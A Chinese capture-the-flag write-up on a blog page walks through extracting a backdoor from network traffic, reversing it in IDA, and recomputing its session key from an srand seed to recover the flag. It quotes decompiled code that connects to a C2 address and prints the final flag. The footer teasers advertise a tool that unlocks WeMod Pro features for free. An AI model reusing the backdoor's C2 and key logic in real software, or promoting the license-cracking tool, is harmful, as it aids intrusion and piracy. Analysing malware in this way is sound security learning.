news 2026/6/9 19:57:07

流量分析_SnakeBackdoor-5

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
流量分析_SnakeBackdoor-5

SnakeBackdoor-5

根据题目5的要求分析,这题涉及流量文件提取二进制逆向分析

基于之前的分析,我们已经知道攻击者下载了一个名为 shell.zip 的压缩包,并解压出了一个 ELF 二进制文件(在题目4中被重命名为 python3.13)

所以我们需要先将流量中的shell.zip文件提取出来,然后使用IDA进行逆向分析,定位网络通信函数,找到加密密钥,解题思路如下:

解题思路: 1、提取样本:从 Wireshark 流量中将 shell.zip 提取出来。 2、解压样本:使用题目 4 获得的密码 nf2jd092jd01 解压得到 ELF 文件。 3、逆向分析:使用 IDA Pro 或 Ghidra 打开 ELF 文件,定位网络通信函数,找出硬编码的加密密钥。 4、格式转换:将找到的字符串或字节流密钥转换为题目要求的小写 Hex 格式。

1、提取木马本题文件

由题目4的分析结果知道,木马本题文件为shell.zip,并且使用密码nf2jd092jd01进行了加密

在 Wireshark 过滤器栏输入:http contains "shell.zip"(或者更精准地: http.request.uri contains "shell.zip")

点击菜单栏的 File (文件) => Export Objects (导出对象) => HTTP

在弹出的列表中,在文本过滤器中搜做".zip",找到文件名为 shell.zip 的那一行(Content-Type 通常为 application/zip),保存即可

2、解密压缩包

打开shell.zip压缩包,是经过加密的,输入题目4中得出的密码nf2jd092jd01,得到里面的木马本体二进制文件

3、逆向分析加密密钥

将shell二进制文件拖进IDA中

我们需要定位到网络通信函数,先找C2 服务器通信,密钥通常硬编码在数据段中

选择import窗口,找到inet_addr,双击定位到函数,选中函数,然后按下X键

双击.got.plt,选中地址或者函数,再次按X,弹窗之后再双击_inet_addr

选中_inet_addr,一样的操作,得到main函数的流程图视图

F5反编译得到伪代码

分析代码,是一个Linux C 语言编写的后门客户端
它的核心功能是:主动连接攻击者的服务器,通过某种协商机制生成加密密钥,然后循环接收攻击者的加密指令,执行后将结果加密回传

首先网络连接初始化,负责建立与 C2 服务器的 TCP 连接,IP: "192.168.1.201" 目标端口: 0xE59E(十进制为58782)

fd = socket(2, 1, 0); // 1. 创建套接字 (AF_INET=2, SOCK_STREAM=1) if ( fd < 0 ) exit(1); // 创建失败则退出 memset(&s, 48, 0x10uLL); // 初始化 sockaddr 结构体 s = 2; // 地址族 AF_INET v15 = inet_addr("192.168.1.201"); // 2. 目标 IP 地址 v14 = htons(0xE59Eu); // 3. 目标端口 // 4. 发起连接 if ( connect(fd, (const struct sockaddr *)&s, 0x10u) < 0 ) { close(fd); exit(1); }

连接成功后,进行密钥协商与生成,木马没有直接发送数据,而是进行了一次“握手”来生成加密通信所需的密钥

这是一个基于 “种子同步” 的弱加密方案,使用4字节的随机数种子,生成16字节的密钥

// 1. 接收 4 字节数据 (Seed) if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 ) ... // 2. 字节序转换 (Big-Endian 转 Little-Endian) seed = (*(_DWORD *)&v7 >> 8) & 0xFF00 | ... ; // 3. 设置随机数种子 srand(seed); // 4. 生成 16 字节密钥 for ( i = 0; i <= 3; ++i ) *(_DWORD *)&v8[4 * i] = rand(); // v8 就是最终的 Session Key // 5. 初始化加密上下文 (sub_13B4 可能是 KeyExpansion) sub_13B4(&v10, v8, 0LL); // 初始化解密上下文 v10 sub_13B4(&v9, v8, 1LL); // 初始化加密上下文 v9

所以我们需要找到连接初期这 4 个字节的随机种子,然后在本地写代码模拟 srand 和 rand,从而计算出当次会话的所有加密密钥。

返回流量包,过滤出前面找到的IP和端口,在找出长度为4字节的数据包

ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len == 4

查看数据包中的数据内容

第一个数据包中的数据Data: 34952046是我们想要的4字节随机种子

后面数据包中的数据Data: 00000010、Data: 00000030等等,正好是 AES/RC4 等加密算法的常见块大小,或者是填充后的指令长度

4、编写脚本模拟计算出密钥

编写脚本

#include <stdio.h> #include <stdlib.h> #include <stdint.h> int main() { // 1. 设置你在 Wireshark 里找到的种子 // 数据包里的 hex 是 34 95 20 46,对应整数 0x34952046 unsigned int seed = 0x34952046; printf("[*] Seed: 0x%X\n", seed); // 2. 初始化随机数生成器 (模拟木马逻辑) srand(seed); printf("[+] Flag: flag{"); // 3. 生成 16 字节密钥 (4次 rand) for(int i = 0; i < 4; i++) { int r = rand(); // 模拟 Python 的 struct.pack("<I", r) -> 小端序输出 unsigned char *p = (unsigned char *)&r; printf("%02x%02x%02x%02x", p[0], p[1], p[2], p[3]); } printf("}\n"); return 0; }

可以使用在线C语言编译器:https://www.onlinegdb.com/online_c_compiler

最终得到flag{ac46fb610b313b4f32fc642d8834b456}

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/2 15:23:12

WeMod专业版功能解锁技术全解析

WeMod专业版功能解锁技术全解析 【免费下载链接】Wemod-Patcher WeMod patcher allows you to get some WeMod Pro features absolutely free 项目地址: https://gitcode.com/gh_mirrors/we/Wemod-Patcher 技术架构深度剖析 WeMod解锁工具采用模块化设计理念&#xff0…

作者头像 李华
网站建设 2026/5/30 19:30:49

李一舟人工智能 2.0 视频分享:解锁 AI 时代核心竞争力

还在为 AI 技术迭代太快而焦虑&#xff1f;想系统掌握人工智能落地逻辑却找不到优质资源&#xff1f;这份李一舟人工智能 2.0 系列视频分享&#xff0c;绝对是你不容错过的干货宝藏&#xff01; 全套资源 1.3G 高清画质&#xff0c;永久有效可反复观看&#xff0c;支持随时转存…

作者头像 李华
网站建设 2026/5/30 19:32:09

亲测好用9个AI论文软件,MBA毕业论文轻松搞定!

亲测好用9个AI论文软件&#xff0c;MBA毕业论文轻松搞定&#xff01; AI工具助力论文写作&#xff0c;轻松应对学术挑战 在当今快速发展的学术环境中&#xff0c;MBA学生和研究者面临着日益繁重的论文写作任务。如何高效地完成开题报告、撰写初稿、优化内容以及降低AIGC率&…

作者头像 李华
网站建设 2026/5/30 19:35:30

14.C++入门:vector|手撕vector

vector深度剖析及模拟实现 vector.h #pragma once #include<assert.h>namespace bit {template<class T>class vector{public:typedef T* iterator;typedef const T* const_iterator;vector(){}/*vector(const vector<T>& v){_start new T[v.capacity(…

作者头像 李华